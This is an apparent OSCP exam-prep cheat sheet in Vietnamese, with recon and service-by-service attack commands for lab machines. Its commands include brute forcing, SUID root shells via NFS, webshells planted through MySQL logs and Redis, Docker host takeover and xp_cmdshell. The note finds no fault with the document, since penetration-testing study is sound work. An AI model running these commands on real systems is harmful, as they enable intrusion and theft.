tags: [oscp, home, dashboard] cssclasses: []
🏴☠️ OSCP CHEATSEAT — Vault tác chiến
⚡ 3 file chính: 01-LINUX 🐧 · 02-WINDOWS 🪟 · 03-AD 🏰 📚 Nguồn tổng hợp: course thầy Hòa (26 labs) · LabThayMinh.docx (13 bài) · 30+ labs 10.12.x tự tay root · AD lab 10.11.x (DC02/WS032/erp01) · www33 🎯 Triết lý: mỗi dòng lệnh trong vault đều đã CHẠY THẬT trong lab — không lý thuyết suông.
🐧 LINUX — khi target là máy Linux
🪟 WINDOWS — khi target là Windows / AD
⚡ Quick access
💀 Khi bí đường — thứ tự thử
nmap -p-full port (đã bỏ sót Konga :1337 vì default scan!)- UDP top-100 — SNMP/161 nhiều khi chứa creds nguyên văn
gobustermở rộng ext:bak,old,zip,sql,yml,txt,save,swp- Default creds từng service (Tomcat manager, DVR, pfSense...)
- Re-đọc từng file đã download — exiftool PDF, strings mọi thứ
--os-shellsqlmap khi SQLi mà bí- WAF bypass:
;/,%2527double-encode, path-as-is - Box Linux tối giản: check
objdump -T bin | grep GLIBCtrước khi ship binary - Reboot box từ portal — rất nhiều wedge tự chữa (userns deadlock, syslog jam)
- Đi câu cái khác rồi quay lại — lab VHL box hay tự sống lại
📏 Quy tắc vàng (học thuộc)
- Scan đầy đủ trước khi lao vào web — UDP + SMB + NFS + full-port
robots.txt= bản đồ CVE;ver=trong asset URL = version CMS- Mật khẩu yếu nằm rải rác: backup files, notes, SNMP, exiftool, AD description, .bash_history, welcome letters trên share
- Leo quyền luôn bắt đầu:
sudo -l→ SUID →getcap→ cron →linpeas - Privesc lab = misconfig, không phải kernel (kernel là backup)
- Mỗi POST form: GET lại form lấy CSRF token đúng form đó (single-use!)
- Shell xong:
python3 -c 'import pty;pty.spawn("/bin/bash")'+ Ctrl+Z +stty raw -echo; fg
🔗 Link tra cứu nhanh
| Nguồn | Dùng khi |
|---|---|
| GTFOBins | sudo/SUID binary bất kỳ |
| LOLBAS | Windows equivalent |
| HackTricks | mọi dịch vụ lạ |
| PayloadsAllTheThings | payload mọi loại |
| revshells | gen reverse shell |
| ippsec.rocks | tìm video từng technique |
~/labOSCP/privilege/ |
exploit đã tải sẵn (PwnKit, dirtypipe, overlayfs...) |
~/labOSCP/exploits/ |
exploit foothold (rogue-jndi, saltstack...) |
� Notion nguồn (notes gốc đã merge vào vault)
| Page | Nội dung |
|---|---|
| Flow 2026 OSCP | Flow tổng recon→AD, ToolBox (ligolo/MSSQL/xfreerdp), Lession walkthrough |
| PEN-200 IPMAC 2026 | 13 module PEN-200 (SQLi/web/winPE/linuxPE/tunnel/AD) + Final EXAM lab |
�🗂️ Exploit-DB đã tải sẵn (Cheatsheet/research/ + privilege/ + exploits/)
| File | Target | Lỗi |
|---|---|---|
edb_48630.txt |
.14 PHP-Fusion 9.03.x |
PHP Object Injection → SQLi pre-auth |
edb_48278.txt |
.14 PHP-Fusion |
panels.php eval() RCE (auth admin) |
edb_50142.txt |
.31 PEEL 9.x |
produit_details.php?id= SQLi time-based |
edb_49410.txt |
.25 PrestaShop 1.7.7 |
id_products[] time-blind SQLi |
edb_52038.py |
.43 Monstra |
upload/admin refs |
edb_49838/49897/49911 |
.33 SCHLIX |
LFI/traversal |
edb.csv |
— | index ExploitDB đầy đủ offline |
dirtypipez/exploit-2.c |
.31/.43 |
DirtyPipe self-contained |
PwnKit/ · CVE-2021-3493-overlayfs/ · sudo-baronsamedit/ · lxd-alpine-builder/ |
— | privesc repos |
rogue-jndi-log4j/ · CVE-2020-11651-saltstack/ · CVE-2019-6340-drupal/ |
— | foothold repos |
"Try Harder" ≠ cố harder trên một đường chết. = quay lại recon, mở rộng mảng nhìn, thử vector chưa có trong đầu. Mỗi box luôn có ≥1 đường userspace dễ — nếu đang cực, đang đi sai đường.
tags: [oscp, linux, privesc, recon, web, tunnels, shells]
🐧 01-LINUX — Cheatsheet tác chiến toàn diện
Course thầy Hòa (26 labs) · LabThayMinh.docx (13 bài) · 30+ boxes 10.12.1-2.x tự root · www33 · erp01 · FW-AMS-01
Mọi lệnh đã chạy thật trong lab. 🟩 [!tip]/[!example] đã prove · 🟨 [!warning] cẩn thận · 🟥 [!bug]/[!danger] gotcha.
🔍 1. RECON — không bỏ bước nào
sudo nmap -sVC <ip> -T4 -oN nmap.txt # TCP dịch vụ + script + version
sudo nmap -p- <ip> --min-rate 3000 -oN all.txt # ⚠️ FULL PORT — từng bỏ sót :1337 Konga!
sudo nmap -sU --top-ports 100 <ip> -oN udp.txt # UDP (SNMP 161 = mỏ creds)
sudo nmap -sV -sC --top-ports 300 <ip> # nếu cần nhanh vòng 1
nmap -sT -Pn --unprivileged --send-eth <ip> # ⚠️ VPN lab chặn raw socket → bộ flag này
rustscan -a <ip> --ulimit 5000 -- -sV -A -Pn # full range nhanh hơn nmap
sudo nmap -O --osscan-guess <ip> # đoán OS (--osscan-limit = chỉ khi chắc)
nmap -sn <dải> --packet-trace # host sweep (không scan port)
nmap -p 80 <dải> -oG web.txt && grep open web.txt | cut -d' ' -f2 # sweep port theo dải
# FIREWALL fingerprint: SYN bị chặn nhưng ACK qua → stateless SYN-filter:
nmap -sA -p <ports> <ip> # ACK scan
# DEBUG "vì sao filtered": --reason (syn-ack/rst/no-response) + --packet-trace + --disable-arp-ping
nmap --script-updatedb ; nmap --script http-vuln* <ip> # wildcard NSE + update db
nmap --script smb-enum-shares --script-args smbport=4445 -p 4445 <ip> # script-args
# scripts hữu ích theo port:
sudo nmap --script ftp-anon,ftp-syst -p 21 <ip> # FTP
sudo nmap --script smb-vuln* -p 445 <ip> # MS17-010...
sudo nmap --script ssl-enum-ciphers -p 443 <ip> # TLS cũ
Flag hay nằm: /root/proof.txt · /root/key.txt (VHL) · local.txt · user.txt
find / -name "*.txt" 2>/dev/null | grep -vE "/usr|/proc|/sys"
📡 2. ENUM & TRUY CẬP TỪNG DỊCH VỤ — bảng tổng quan
| Port | Dịch vụ | Tool enum chính | Truy cập / tải file |
|---|---|---|---|
| 21 | FTP | nmap ftp-anon · lftp |
lftp/wget -m · get/put/mirror |
| 22 | SSH | banner · auth-methods | ssh/scp/sftp |
| 25/465/587 | SMTP | smtp-user-enum · swaks |
gửi mail swaks |
| 53 | DNS | dig AXFR |
dig/nslookup |
| 80/443/808x | HTTP/S | whatweb · gobuster/ffuf |
curl/wget |
| 88 | Kerberos | GetUserSPNs/GetNPUsers |
xem 02-WINDOWS 🪟 |
| 110/995 | POP3 | curl pop3:// |
curl/telnet |
| 111 | RPC | rpcinfo -p |
→ NFS |
| 135/139/445 | SMB/RPC | enum4linux · nxc |
smbclient · mount -t cifs |
| 143/993 | IMAP | curl imap:// |
curl/telnet |
| 161 | SNMP | onesixtyone · snmpwalk |
— (info) |
| 389/636 | LDAP | ldapsearch |
ldapsearch |
| 873 | rsync | rsync rsync://ip/ |
rsync sync |
| 1433 | MSSQL | impacket-mssqlclient |
sqsh · xp_cmdshell |
| 2049 | NFS | showmount -e |
mount -t nfs |
| 3306 | MySQL | mysql client |
mysql --skip-ssl |
| 3389 | RDP | nmap rdp-ntlm-info |
xfreerdp |
| 5432 | PostgreSQL | psql |
psql -h |
| 5900 | VNC | vncviewer |
vncviewer |
| 6379 | Redis | redis-cli |
redis-cli write |
| 11211 | Memcached | nc STATS |
nc dump |
| 2375/2376 | Docker API | curl /containers/json |
docker -H |
| 8080/AJP | Tomcat | /manager creds |
WAR deploy |
2.1 FTP (21)
ENUM
nmap -p21 --script ftp-anon,ftp-syst,ftp-vuln-cve2010-4221 <ip>
ftp <ip>
lftp ftp://anonymous:anonymous@<ip>
lftp> set ftp:list-options -a
lftp> ls -la
lftp> mirror / /home/kali/loot/
lftp> get file.txt ; mget *.pdf ; put x.txt
wget -m ftp://anonymous:anonymous@<ip>/
wget -m --no-passive ftp://...
hydra -L users.txt -P rockyou.txt ftp://<ip>
ftp <ip>— user: anonymous / ftp / Anonymous, pass: anythinglftp ftp://anonymous:anonymous@<ip>— TRUY CẬP + TẢI TOÀN BỘ (quan trọng — có file ẩn!)lftp> set ftp:list-options -a— ← hiện file ẩn (.history, .ssh...)lftp> mirror / /home/kali/loot/— tải toàn bộ về Kalilftp> get file.txt ; mget *.pdf ; put x.tx…— ⚠️ FTP login OK nhưngls/get treo hoặc lỗi → DATA channel bị FW chặn: · đổi mode! lftp: set ftp:passive-mode off (active) | ftp cmdline:passivetoggle · active = server connect VỀ client (sau NAT hay chết) · passive = server mở port random 40-50k · download / uploadwget -m ftp://anonymous:anonymous@<ip>/— 1 dòng tải cả thư mục:wget -m --no-passive ftp://...— nếu passive bị chặnhydra -L users.txt -P rockyou.txt ftp://<i…— INITIAL ACCESS⚠️ upload webshell nếu webroot = ftpdir (check /etc/vsftpd.conf anonymous_root) ⚠️ ProFTPD 1.3.5: SITE CPFR/SITE CPTO copy file tùy ý ⚠️ vsftpd 2.3.4 → backdoor :6200
Sau khi mirror luôn chạy: exiftool *.pdf | grep Author (username list B12) · strings * | grep -i pass
2.2 SSH (22)
ENUM
nmap -p22 --script ssh-auth-methods,ssh-hostkey <ip>
ssh -o BatchMode=yes <user>@<ip> 2>&1 | head
ssh <user>@<ip>
scp file <user>@<ip>:/tmp/
scp -r dir/ <user>@<ip>:/tmp/
scp <user>@<ip>:/root/loot.txt .
sftp <user>@<ip>
rsync -avP file <user>@<ip>:/tmp/
ssh-keyscan <ip>
chmod 400 id_rsa && ssh -i id_rsa <user>@<ip>
ssh2john id_rsa > k.john && john k.john --wordlist=rockyou.txt
hydra -L users.txt -P rockyou.txt ssh://<ip> -t 4
hydra -l root -P rockyou.txt ssh://<ip>
ssh -o BatchMode=yes <user>@<ip> 2>&1 | he…— auth methods + bannerssh <user>@<ip>— người dùng có tồn tại không: (trên box, ssh 2>&1 lỗi khác nhau user đúng/sai) · TRUY CẬP + FILE · loginscp file <user>@<ip>:/tmp/— upload 1 filescp -r dir/ <user>@<ip>:/tmp/— upload thư mụcscp <user>@<ip>:/root/loot.txt .— downloadsftp <user>@<ip>— interactive get/putrsync -avP file <user>@<ip>:/tmp/— rsync over sshssh-keyscan <ip>— lấy hostkeychmod 400 id_rsa && ssh -i id_rsa <user>@<…— KEY tìm được:ssh2john id_rsa > k.john && john k.john --…— key có passphrasehydra -L users.txt -P rockyou.txt ssh://<i…— INITIAL ACCESShydra -l root -P rockyou.txt ssh://<ip>— brute root⚠️ key brute: /usr/share/wordlists/... + user enumeration qua auth error timing
2.3 SMTP (25/465/587) + đọc mail POP3/IMAP (110/143)
ENUM users:
smtp-user-enum -M VRFY -U users.txt -t <ip>
nmap -p25 --script smtp-commands,smtp-enum-users <ip>
swaks --to admin@x --from test@x --server <ip>
curl "pop3://<ip>/" --user u:p --list-only
curl "pop3://<ip>/9" --user u:p
curl "imap://<ip>/INBOX;UID=9" --user u:p
curl "imaps://<ip>/INBOX;UID=9" --user u:p
telnet <ip> 110
> USER x
> PASS y
> LIST
> RETR 9
swaks --to admin@x --from test@x --server …— gửi mail testcurl "pop3://<ip>/" --user u:p --list-only— ĐỌC MAIL (LabThayMinh B10 — creds nguyên văn trong mail!): · liệt kêcurl "pop3://<ip>/9" --user u:p— đọc mail số 9curl "imap://<ip>/INBOX;UID=9" --user u:p— IMAP UIDcurl "imaps://<ip>/INBOX;UID=9" --user u:p— IMAPStelnet <ip> 110— telnet thủ công:
2.4 DNS (53)
dig axfr <domain> @<ip>
dig <domain> @<ip>
dnsrecon -d <domain> -n <ip> -t axfr
dnsenum <domain>
dnsenum --enum <dom> -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
assetfinder -subs-only <domain>
for s in $(cat subdomains.txt); do host $s.<domain>; done | grep -v "not found"
for ip in $(seq 200 254); do host 51.x.x.$ip; done | grep -v "not found"
curl -s "https://crt.sh/?q=%25.<domain>&output=json" | jq -r '.[].name_value' | sort -u
dnsrecon -d <domain> -D <list> -t brt ; dnsenum -r <domain>
subfinder -d <domain> ; amass enum -passive -d <domain>
dig axfr <domain> @<ip>— zone transfer (thử!)dig <domain> @<ip>— query thườngdnsrecon -d <domain> -n <ip> -t axfr— autodnsenum <domain>— enum subdomainsassetfinder -subs-only <domain>— subdomain passive nhanhfor s in $(cat subdomains.txt); do host $s…— subdomain takeover: CNAME trỏ tới resource ĐÃ CHẾT (S3/Azure/GH-pages expire) · → claim lại resource đó = kiểm soát nội dung subdomain. Check: dig CNAME → 404 cú đặc trưng · SUBDOMAIN/VHOST enum (cần cho vhost routing): · bash brutefor ip in $(seq 200 254); do host 51.x.x.$…— reverse-DNS sweep dảicurl -s "https://crt.sh/?q=%25.<domain>&ou…— cert transparency (OSINT)dnsrecon -d <domain> -D <list> -t brt ; dn…— recursivesubfinder -d <domain> ; amass enum -passiv…— passive OSINT
2.5 HTTP/S (80/443/8000/8080/8443...)
ENUM:
whatweb http://<ip>/
nikto -h http://<ip>/
curl -s http://<ip>/robots.txt
curl -sI http://<ip>/
curl -X TRACE -i http://<ip>/
curl -s -X OPTIONS -i http://<ip>/
gobuster dir -u http://<ip>/ -w <wordlist> -x php,bak,txt,sql,old,zip,save -b 301,403,404
dirsearch -u http://<ip>/ -x 403,404
ffuf -u http://<ip>/FUZZ -w <wordlist> -mc 200,204,301,302,307,401,403
feroxbuster -u http://<ip>/ -w <wordlist> -d 2
curl -s http://<ip>/.git/config
git-dumper http://<ip>/.git/ ./out
curl -s http://<ip>/.env ; curl -s http://<ip>/.svn/entries
curl -sI -H "Host: '" http://<ip>/ # host ' → 400 lộ Tomcat/Jetty
curl -s http://<ip>/error ; curl -s http://<ip>/actuator
ffuf -u http://<ip>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Web-Servers/Apache-Tomcat.txt
ffuf -u http://<ip>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
wafw00f http://<ip>/
httpx -tech-detect -title -status-code -follow-redirects -u http://<ip>/
ffuf -H "Host: FUZZ.lab.local" -u http://<ip>/ -w subdomains-top1million-5000.txt -ac
curl http://<ip>/assets/app.xyz.js.map -o app.js.map
node -e "const m=JSON.parse(require('fs').readFileSync('app.js.map'));m.sources.forEach((s,i)=>require('fs').writeFileSync('rec_'+s.replace(/\//g,'_'),m.sourcesContent[i]))"
wget http://<ip>/file.zip
curl -O http://<ip>/file.zip
curl -o - http://<ip>/bigfile > f
curl -s "http://<ip>/?rest_route=/" | jq .
whatweb http://<ip>/— stack fingerprintnikto -h http://<ip>/— vuln scan chungcurl -s http://<ip>/robots.txt— = bản đồ CVEcurl -sI http://<ip>/— headers (server, x-powered-by)curl -X TRACE -i http://<ip>/— TRACE enabled = XST → đánh cắp credscurl -s -X OPTIONS -i http://<ip>/— method nào allow (PUT/DELETE = upload!)dirsearch -u http://<ip>/ -x 403,404— nhanh, default wordlist tốtferoxbuster -u http://<ip>/ -w <wordlist> …— đệ quy nhanhcurl -s http://<ip>/.git/config— vhost: ffuf -u http://FUZZ.<domain>/ -w vhosts.txt -H "Host: FUZZ.<domain>" · LUÔN check /.nhạy cảm: · repo lộ → git-dumper: git-dumper http://<ip>/.git/ ./out— source + history + credscurl -sI -H "Host: '" http://<ip>/ …— fingerprint stack qua ERROR (không cần scanner):curl -s http://<ip>/error ; curl -s http:/…— /error → Spring Boot whitelabelffuf -u http://<ip>/FUZZ -w /usr/share/sec…— fuzz THEO STACK vừa fingerprint (SecLists chuyên dụng):wafw00f http://<ip>/— (còn: nginx.txt · IIS.txt · PHP.txt) · WAF detect + bypass: · nhận diện WAF (Imperva/CF/ModSec...)httpx -tech-detect -title -status-code -fo…— sqlmap qua burp debug: sqlmap -r req --dbs --proxy=http://127.0.0.1:8080 · WAF chặn sqlmap → nowafpls (assetnote): https://github.com/assetnote/nowafpls · hoặc --tamper=space2comment,between,randomcase --random-agent --delay=1 · = VHOST + API + FRONTEND recon = · fingerprint nhanhffuf -H "Host: FUZZ.lab.local" -u http://<…— vhost fuzz: baseline TRƯỚC (resp giả luôn 200 → note size rồi -fs):curl http://<ip>/assets/app.xyz.js.map -o …— -ac = auto-calibrate · -fs 802 = filter theo size baseline · -r follow redirect · fingerprint ngôn ngữ qua ext giả: thử /index.{php,jsp,aspx,html} — cái nào LOAD = stack đó · status endpoints hay lộ: /server-status (Apache) · /nginx_status · /manager/html (Tomcat) · /actuator (Spring) · /metrics · /phpinfo.php · /api/v1/ · API version fuzz: gobuster dir -u http://<ip>:5002 -w big.txt -p pattern # pattern: {GOBUSTER}/v{1,2} · param ẩn → Burp "Param Miner" extension (arjun CLI: arjun -u http://<ip>/page) · JS recon (SPA/Angular — endpoint ẩn trong bundle): · 1) .map file = source gốc full:wget http://<ip>/file.zip— 2) runtime API (build lúc chạy — static ko thấy) → hook fetch trong DevTools console: · const of=window.fetch; window.fetch=function(u,i={}){console.log('[F]',(i.method||'GET'),u,i.body);return of.apply(this,arguments)} · 3) 304 cache chặn đọc JS → xoá header If-None-Match khi replay · TẢI FILE:curl -o - http://<ip>/bigfile > f— streamcurl -s "http://<ip>/?rest_route=/" | jq .— API REST (WP có khi tắt permalinks): · thay /wp-json/
2.6 RPC (111) + NFS (2049)
rpcinfo -p <ip>
showmount -e <ip>
sudo mkdir -p /mnt/nfs
sudo mount -t nfs -o nolock <ip>:/exported/dir /mnt/nfs
ls -la /mnt/nfs/ && cp -r /mnt/nfs/* ~/loot/
sudo cp /bin/bash /mnt/nfs/rootshell && sudo chmod 4777 /mnt/nfs/rootshell
cat > fb.c <<'EOF'
#include <unistd.h>
int main(){ setuid(0); setgid(0); execl("/bin/sh","sh",NULL); }
EOF
gcc -o /mnt/nfs/fb fb.c && chmod 4755 /mnt/nfs/fb
cat /etc/fstab; mount | grep nfs
rpcinfo -p <ip>— RPC services (nfs, mountd, nlockmgr...)showmount -e <ip>— NFS exportssudo mkdir -p /mnt/nfs— TRUY CẬP:ls -la /mnt/nfs/ && cp -r /mnt/nfs/* ~/loo…— tải vềsudo cp /bin/bash /mnt/nfs/rootshell && su…— no_root_squash? (file root:root + SUID sống):gcc -o /mnt/nfs/fb fb.c && chmod 4755 /mnt…— trên target: /mnt/.../rootshell -p → root (LabThayMinh B9) · bash -p không giữ được → compile fakebash thay: · (chmod bằng root trên kali)cat /etc/fstab; mount | grep nfs— CASE 2 — NFS mount CHUNG giữa 2 server (leo ngang sang box khác): · trên target: thấy mount chung với server khác⚠️ → ghi file/sshkey/webshell vào sharedir → đọc/trigger từ BOX KIA (cả 2 mount cùng export)
2.7 SMB (139/445)
ENUM:
smbclient -L //<ip>/ -N
enum4linux -a <ip>
nxc smb <ip> -u '' -p '' --shares
rpcclient -U "" -N <ip>
nbtscan <ip> ; nbtscan -r <dải>/24
smbclient //<ip>/<share> -U 'u%p' -c "put shell.php"
smbmap -H <ip>
rpcclient -U "" -N <ip> -c "enumdomusers"
lookupsid.py guest@<ip> -no-pass
samrdump.py <dom>/<user>:<pass>@<ip>
nxc smb <ip> -u guest -p '' --rid-brute
nxc smb <ip> -u u -p p --users
nxc smb <ip> -u u -p p -M spider_plus
smbget -R smb://<ip>/<share>/dir -U u
smbclient //<ip>/<share> -N
smbclient //<ip>/<share> -U 'user%pass'
smb: \> ls ; get file.txt ; mget *.txt
smb: \> prompt OFF ; recurse ON ; mget *
smb: \> mask "" ; mget *
smb: \> put local.txt
sudo mount -t cifs //<ip>/<share> /mnt/smb -o user=u,pass=p
nxc smb <ip> -u u -p p --get-file \\share\\path\\f.txt /tmp/f.txt
smbclient //<ip>/<share> -U 'u%p' -c "prompt OFF; recurse ON; mask \"\"; mget *"
smbget -R smb://<ip>/<share>/ -U 'u%p' -O ./loot
mount -t cifs //<ip>/<share> /mnt -o ro,user=u,pass=p && cp -r /mnt ./loot
lftp -e "set ftp:list-options -a; mirror / ./loot; bye" ftp://u:p@<ip>
wget -m --no-passive ftp://u:p@<ip>/
scp -r u@<ip>:/dir ./loot ; sshpass -p 'p' scp -r u@<ip>:/ ./loot
rsync -avz -e "sshpass -p p ssh" u@<ip>:/dir/ ./loot/
rsync -avz rsync://<ip>/share/ ./loot/
mount -t nfs <ip>:/share /mnt && cp -r /mnt ./loot
hydra -L users.txt -P rockyou.txt smb://<ip>
nxc smb <ip> -u u -p p --sam --lsa
smbclient -L //<ip>/ -N— null session list sharesenum4linux -a <ip>— users+groups+shares+password policynxc smb <ip> -u '' -p '' --shares— crackmapexec/netexecrpcclient -U "" -N <ip>— RPC: enumdomusers, querydominfonbtscan <ip> ; nbtscan -r <dải>/24— sweep NetBIOS cả dảismbclient //<ip>/<share> -U 'u%p' -c "put …— ghi file 1 dòng (ko vào prompt)smbmap -H <ip>— share permissions matrixrpcclient -U "" -N <ip> -c "enumdomusers"— USER ENUM (lấy list username để spray — quan trọng!):lookupsid.py guest@<ip> -no-pass— SID-brute → users (null session)samrdump.py <dom>/<user>:<pass>@<ip>— có creds → dump fullnxc smb <ip> -u guest -p '' --rid-brute— không credsnxc smb <ip> -u u -p p -M spider_plus— SHARE SPIDER — quét sâu mọi share tìm file: · output JSON từng sharesmbget -R smb://<ip>/<share>/dir -U u— wget-style recursivesmbclient //<ip>/<share> -N— TRUY CẬP + TẢI: · anonymoussmbclient //<ip>/<share> -U 'user%pass'— có credssmb: \> prompt OFF ; recurse ON ; mget *— ↓ tải ĐỆ QUY toàn sharesmb: \> mask "" ; mget *— (kết hợp 3 dòng trên)smb: \> put local.txt— upload (nếu RW)sudo mount -t cifs //<ip>/<share> /mnt/smb…— mount như ổ đĩa:nxc smb <ip> -u u -p p --get-file \\share\…— copy recursive qua nxc:smbclient //<ip>/<share> -U 'u%p' -c "prom…— === TẢI TOÀN BỘ — 1 DÒNG, MỌI PROTOCOL === · SMB — không cần vào prompt, tải đệ quy toàn share:smbget -R smb://<ip>/<share>/ -U 'u%p' -O …— wget-style, gọn hơnlftp -e "set ftp:list-options -a; mirror /…— FTP — mirror cả site (kèm file ẩn):wget -m --no-passive ftp://u:p@<ip>/— passive bị FW chặn → --no-passivescp -r u@<ip>:/dir ./loot ; sshpass -p 'p'…— SSH/SCP (có creds):rsync -avz rsync://<ip>/share/ ./loot/— rsync:// anonymous module:mount -t nfs <ip>:/share /mnt && cp -r /mn…— NFS export:hydra -L users.txt -P rockyou.txt smb://<i…— INITIAL ACCESS:nxc smb <ip> -u u -p p --sam --lsa— có admin → dump⚠️ CVE-2017-0144 EternalBlue · no-signing → ntlmrelayx
2.8 SNMP (161/udp)
ENUM:
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <ip>
snmpwalk -v2c -c public <ip> .1
snmpbulkwalk -c public -v2c <ip> .
snmp-check <ip> -c public
snmpbulkwalk -c public -v2c <ip> .1 | grep -iE "pass|cred|user|exec"
snmpwalk -c public -v2c <ip> hrSWRunParameters
onesixtyone -c /usr/share/seclists/Discove…— brute communitysnmpwalk -v2c -c public <ip> .1— walk toàn bộsnmpbulkwalk -c public -v2c <ip> .— nhanh hơnsnmp-check <ip> -c public— tổng hợp đẹpsnmpbulkwalk -c public -v2c <ip> .1 | grep…— săn creds / chạy cron / process:snmpwalk -c public -v2c <ip> hrSWRunParame…— command lines processes⚠️ write (rare): snmpset → RCE qua dịch vụ cấu hình bằng SNMP ⚠️ snmpwalk ra OID thay vì tên → cài MIBs: ⚠️ apt install snmp-mibs-downloader && download-mibs ⚠️ sửa /etc/snmp/snmp.conf: comment dòng "mibs :" → walk lại = tên đọc được ⚠️ v3 dùng user/pass; config "rwuser noauth" = đọc+ghi không cần auth (v3)
2.9 LDAP (389/636/3268)
ldapsearch -x -H ldap://<ip> -b "" -s base "(objectclass=*)"
ldapsearch -x -H ldap://<ip> -b "dc=x,dc=local"
ldapsearch -x -H ldap://<dc> -D 'u@dom' -w 'p' -b "DC=dom,DC=local" "(objectClass=user)" sAMAccountName memberOf description
ldapdomaindump -u 'dom\u' -p 'p' <dc>
ldapsearch -x -H ldap://<ip> -b "" -s base…— root DSEldapsearch -x -H ldap://<ip> -b "dc=x,dc=l…— anonymousldapdomaindump -u 'dom\u' -p 'p' <dc>— dump html
2.10 rsync (873)
ENUM (list modules — không cần creds nếu anonymous):
rsync rsync://<ip>/
rsync rsync://<ip>/module/
nmap -p873 --script rsync-list-modules <ip>
rsync -avzP rsync://<ip>/module/ /home/kali/loot/
rsync -avzP /local/file rsync://<ip>/module/path/
rsync rsync://<ip>/— liệt kê modulersync rsync://<ip>/module/— list file trong modulersync -avzP rsync://<ip>/module/ /home/kal…— TRUY CẬP + TẢI: · download tấtrsync -avzP /local/file rsync://<ip>/modul…— upload (nếu RW)⚠️ INITIAL ACCESS: source code leak → creds/id_rsa (B2) · RW → ghi authorized_keys/webshell
2.11 MySQL/MariaDB (3306) · MSSQL (1433) · PostgreSQL (5432)
MySQL:
nmap -p3306 --script mysql-empty-password,mysql-users,mysql-databases <ip>
mysql -h <ip> -u root
mysql -h <ip> -u root -p'pass' [--skip-ssl]
sudo mysql
mysql> show databases; use x; show tables; select * from users;
SHOW VARIABLES LIKE '%secure%';
SHOW VARIABLES LIKE '%bind%';
SHOW GRANTS FOR CURRENT_USER();
SELECT user,host FROM mysql.user WHERE Super_priv='Y' OR File_priv='Y';
SET GLOBAL general_log='ON';
SET GLOBAL general_log_file='/var/www/html/log.php';
SELECT '<?php system($_GET["c"]);?>';
impacket-mssqlclient <user>:<pass>@<ip> -windows-auth
impacket-mssqlclient sa:<pass>@<ip>
impacket-mssqlclient sa:@<ip>
hydra -L users.txt -P pass.txt mssql://<ip>
SQL> SELECT name FROM master.dbo.sysdatabases; USE x; SELECT * FROM dbo.users;
SQL> EXEC xp_cmdshell 'whoami'
SQL> sp_configure 'show advanced options',1; RECONFIGURE;
SQL> sp_configure 'xp_cmdshell',1; RECONFIGURE;
psql -h <ip> -U postgres -W
mysql -h <ip> -u root— thử no-pass TRƯỚC (root@localhost socket auth)mysql -h <ip> -u root -p'pass' [--skip-ssl…— ⚠️ trap: server từ chối SSL → lỗi giống ACL!sudo mysql— local: unix_socket plugin = login bằng user LinuxSHOW VARIABLES LIKE '%secure%';— file read (nếu FILE priv): select load_file('/etc/passwd'); · webshell: select '' into outfile '/var/www/html/s.php'; · UDF RCE: SELECT sys_eval('id') (cài libmysqludf) · hash dump: SELECT user,host,plugin,authentication_string FROM mysql.user; · plugin='auth_socket' → chỉ login local bằng user Linux cùng tên · user='' = anonymous · host='%' = login từ xa · authentication_string='' = no pass · = MySQL config/privs nguy hiểm — check khi đã auth = · secure_file_priv: NULL=cấm r/w · ''=ghi mọi nơi · '/tmp'=chỉ tmpSHOW VARIABLES LIKE '%bind%';— 127.0.0.1 = nmap ngoài ko thấy nhưng local có!SHOW GRANTS FOR CURRENT_USER();— cần FILE priv để load_file/outfileSET GLOBAL general_log='ON';— = general_log poisoning → webshell (khi FILE priv có nhưng outfile bị chặn) =SELECT '<?php system($_GET["c"]);?>';— query được GHI vào log = webshellimpacket-mssqlclient <user>:<pass>@<ip> -w…— xong nhớ: SET GLOBAL general_log='OFF' (dấu vết) · MSSQL: · domainimpacket-mssqlclient sa:<pass>@<ip>— localimpacket-mssqlclient sa:@<ip>— thử no-pass trước!hydra -L users.txt -P pass.txt mssql://<ip…— chỉ brute được Mixed-modeSQL> EXEC xp_cmdshell 'whoami'— RCE (tự enable:psql -h <ip> -U postgres -W— check trước: SELECT name,value_in_use FROM sys.configurations WHERE name='xp_cmdshell' · check role: SELECT IS_SRVROLEMEMBER('sysadmin') → 1 = có (serveradmin/db_owner tương tự) · hash SQL logins: SELECT name,password_hash FROM sys.sql_logins · nếu xp_cmdshell bị chặn: EXECUTE AS LOGIN 'sa' (impersonation) · trên Windows có sẵn sqlcmd (Client SDK\ODBC\170\Tools\Binn): · sqlcmd -S localhost -No # Windows-auth, -No bỏ cert check (SQL2022+) · sqlcmd -S localhost,1433 -U sa -P pass -Q "SELECT @@VERSION" · PostgreSQL:⚠️ RCE: COPY (SELECT '') TO PROGRAM 'id'; (cần superuser)
2.12 Redis (6379)
redis-cli -h <ip> ping
redis-cli -h <ip> info
redis-cli -h <ip> config get dir
redis-cli -h <ip> set x '<?php system($_GET["c"]);?>'
redis-cli -h <ip> config set dir /var/www/html ; config set dbfilename s.php ; save
redis-cli -h <ip> config set dir /root/.ssh ; config set dbfilename authorized_keys ; set x "ssh-rsa AAAA..." ; save
redis-cli -h <ip> ping— PONG = unauthredis-cli -h <ip> info— version + configredis-cli -h <ip> config get dir— webroot?redis-cli -h <ip> set x '<?php system($_GE…— RCE paths:redis-cli -h <ip> config set dir /var/www/…— webshellredis-cli -h <ip> config set dir /root/.ss…— ssh key⚠️ module RCE (4.x/5.x): SOSET / MODULE LOAD (github Mohnad-AL-saif — B3)
2.13 VNC (5900/5901...)
nmap -p5900 --script vnc-info,realvnc-auth-bypass <ip>
vncviewer <ip>::5900 -passwd passwdfile
vncviewer <ip>::5900 -passwd passwdfile— password: ~/.vnc/passwd (hex DES)⚠️ auth bypass RealVNC 4.1.1 ; brute: hydra -P rockyou.txt vnc://<ip>
2.14 Memcached (11211)
echo stats | nc <ip> 11211
echo "stats cachedump 1 0" | nc <ip> 11211
echo stats | nc <ip> 11211— version, itemsecho "stats cachedump 1 0" | nc <ip> 11211— keys → get
2.15 Docker API (2375/2376)
curl -s http://<ip>:2375/version | jq
curl -s http://<ip>:2375/containers/json | jq '.[].Names'
docker -H tcp://<ip>:2375 ps
docker -H tcp://<ip>:2375 run -v /:/mnt --rm -it alpine chroot /mnt sh
docker -H tcp://<ip>:2375 run -v /:/mnt --…— = root host
2.16 Tomcat (8080 + AJP 8009)
curl http://<ip>:8080/manager/html -u tomcat:s3cret
msfconsole > use exploit/multi/http/tomcat_mgr_upload
